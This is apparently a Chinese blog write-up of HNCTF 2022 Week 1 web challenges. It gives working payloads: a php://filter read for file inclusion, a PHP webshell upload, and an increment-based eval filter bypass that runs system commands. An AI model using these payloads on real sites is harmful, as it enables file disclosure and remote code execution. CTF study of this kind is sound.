HNCTF 2022 Week1 web方向

HNCTF 2022 Week1 web方向

Interesting_include

进题代码如下,直接php伪协议读取

<?php
//WEB手要懂得搜索
//flag in ./flag.php

if(isset($_GET['filter'])){
    $file = $_GET['filter'];
    if(!preg_match("/flag/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}
filter=php://filter/read=convert.base64-encode/resource=./flag.php

2048

直接在js源码中找到了如下内容

if (this.score > 20000)
		{
		   //var md5util= require("md5.js"); //写文件路径即可
            alert(String.fromCharCode(24685,21916,33,102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125));
		}

直接把alert语句放在控制台运行,即可得到flag

easy_html

进题说饼干中好像有什么东西,于是查看cookie,发现cookie内容为flagisin=.%2Ff14g.php,前往**.%2Ff14g.php**查看,出现了一个登录框,测试了sql注入和ssti注入发现都不行,随后查看源码发现允许输入的最大长度为10,与正常手机号长度不符

<form action="f14g.php" method="post">
请输入手机号登录:<input type="text" maxlength="10" name="cnt">

    <br>
    <input type="submit" name="login" value="登录">
    </form>

修改长度为11后传入长度为11的数字串即可得到flag

What is Web

今天,看源码,在源码底部找到了经过base64编码的flag

Interesting_http

进题,根据题目内容可知要用post传want参数,然后改cookie,然后xff伪造即可,bp发包如下请添加图片描述

easy_upload

文件上传题,直接传一个含有一句话木马的php文件,然后前往文件上传路径后用蚁剑连接即可找到flag

Challenge__rce

进题什么都没有,查看源码,可知要用hit进行GET传参,随意传了个内容后出现了如下代码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}

对代码进行审计,首先传入的rce长度不能超过120,然后过滤了一堆符号和字母,根据过滤可知该题可以使用自增绕过,payload如下

GET:?hint&1=system&2=nl /f*

POST:rce=rce=$_=[]._;$_3=$_[1];$_=$_[3];++$_;$_1=++$_;++$_;++$_;++$_;++$_;$_=$_1.++$_.$_3;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值